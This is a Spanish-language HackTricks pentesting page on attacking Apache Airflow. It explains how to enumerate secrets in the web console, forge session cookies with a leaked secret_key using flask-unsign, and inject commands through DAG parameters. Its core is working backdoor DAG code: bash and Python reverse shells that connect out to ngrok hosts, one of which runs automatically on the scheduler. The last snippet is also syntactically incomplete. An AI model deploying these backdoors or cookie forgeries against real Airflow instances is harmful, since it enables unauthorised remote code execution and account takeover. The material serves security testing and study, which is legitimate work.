Apache Airflow Security

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Información Básica

Apache Airflow sirve como una plataforma para orquestar y programar tuberías de datos o flujos de trabajo. El término "orquestación" en el contexto de tuberías de datos significa el proceso de organizar, coordinar y gestionar flujos de trabajo de datos complejos que provienen de diversas fuentes. El propósito principal de estas tuberías de datos orquestadas es proporcionar conjuntos de datos procesados y consumibles. Estos conjuntos de datos son ampliamente utilizados por una variedad de aplicaciones, incluyendo, pero no limitado a herramientas de inteligencia empresarial, ciencia de datos y modelos de aprendizaje automático, todos los cuales son fundamentales para el funcionamiento de aplicaciones de big data.

Básicamente, Apache Airflow te permitirá programar la ejecución de código cuando sucede algo (evento, cron).

Laboratorio Local

Docker-Compose

Puedes utilizar el archivo de configuración docker-compose desde https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml para lanzar un entorno completo de Apache Airflow en Docker. (Si estás en MacOS asegúrate de asignar al menos 6GB de RAM a la máquina virtual de Docker).

Minikube

Una forma sencilla de ejecutar Apache Airflow es hacerlo con minikube:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Configuración de Airflow

Airflow podría almacenar información sensible en su configuración o es posible encontrar configuraciones débiles en su lugar:

pageAirflow Configuration

RBAC de Airflow

Antes de comenzar a atacar Airflow, debes entender cómo funcionan los permisos:

pageAirflow RBAC

Ataques

Enumeración de la Consola Web

Si tienes acceso a la consola web, es posible que puedas acceder a alguna o a toda la siguiente información:

  • Variables (Aquí podría almacenarse información sensible personalizada)

  • Conexiones (Aquí podría almacenarse información sensible personalizada)

  • Accede a ellas en http://<airflow>/connection/list/

  • Configuración (Información sensible como la secret_key y contraseñas podrían estar almacenadas aquí)

  • Lista de usuarios y roles

  • Código de cada DAG (que podría contener información interesante)

Obtener Valores de Variables

Las variables pueden almacenarse en Airflow para que los DAGs puedan acceder a sus valores. Es similar a los secretos de otras plataformas. Si tienes suficientes permisos, puedes acceder a ellas en la GUI en http://<airflow>/variable/list/. Por defecto, Airflow mostrará el valor de la variable en la GUI, sin embargo, según esto, es posible establecer una lista de variables cuyo valor aparecerá como asteriscos en la GUI.

Sin embargo, estos valores aún pueden ser obtenidos a través de CLI (necesitas tener acceso a la base de datos), ejecución de DAG arbitrario, API accediendo al punto final de variables (la API debe estar activada) ¡e incluso la GUI misma! Para acceder a esos valores desde la GUI, simplemente selecciona las variables a las que deseas acceder y haz clic en Acciones -> Exportar. Otra forma es realizar un ataque de fuerza bruta al valor oculto utilizando el filtro de búsqueda hasta que lo obtengas:

Escalada de Privilegios

Si la configuración expose_config está establecida en True, desde el rol de Usuario y superiores pueden leer la configuración en la web. En esta configuración, aparece la secret_key, lo que significa que cualquier usuario con esta clave válida puede crear su propia cookie firmada para hacerse pasar por cualquier otra cuenta de usuario.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

Puerta trasera DAG (RCE en el trabajador de Airflow)

Si tienes acceso de escritura al lugar donde se guardan los DAGs, simplemente puedes crear uno que te enviará una shell inversa. Ten en cuenta que esta shell inversa se ejecutará dentro de un contenedor de trabajador de Airflow:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

Puerta trasera DAG (RCE en el planificador de Airflow)

Si configuras algo para que se ejecute en la raíz del código, en el momento de escribir esto, será ejecutado por el planificador después de un par de segundos después de colocarlo dentro de la carpeta del DAG.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

Creación de DAG

Si logras comprometer una máquina dentro del clúster de DAG, puedes crear nuevos scripts de DAG en la carpeta dags/ y serán replicados en el resto de las máquinas dentro del clúster de DAG.

Inyección de Código en DAG

Cuando ejecutas un DAG desde la GUI, puedes pasarle argumentos. Por lo tanto, si el DAG no está codificado correctamente, podría ser vulnerable a Inyección de Comandos. Eso es lo que sucedió en este CVE: https://www.exploit-db.com/exploits/49927

Todo lo que necesitas saber para empezar a buscar inyecciones de comandos en DAGs es que los parámetros se acceden con el código dag_run.conf.get("nombre_parametro").

Además, la misma vulnerabilidad podría ocurrir con las variables (ten en cuenta que con suficientes privilegios podrías controlar el valor de las variables en la GUI). Las variables se acceden con:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

Si se utilizan, por ejemplo, dentro de un comando bash, podrías realizar una inyección de comandos.

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización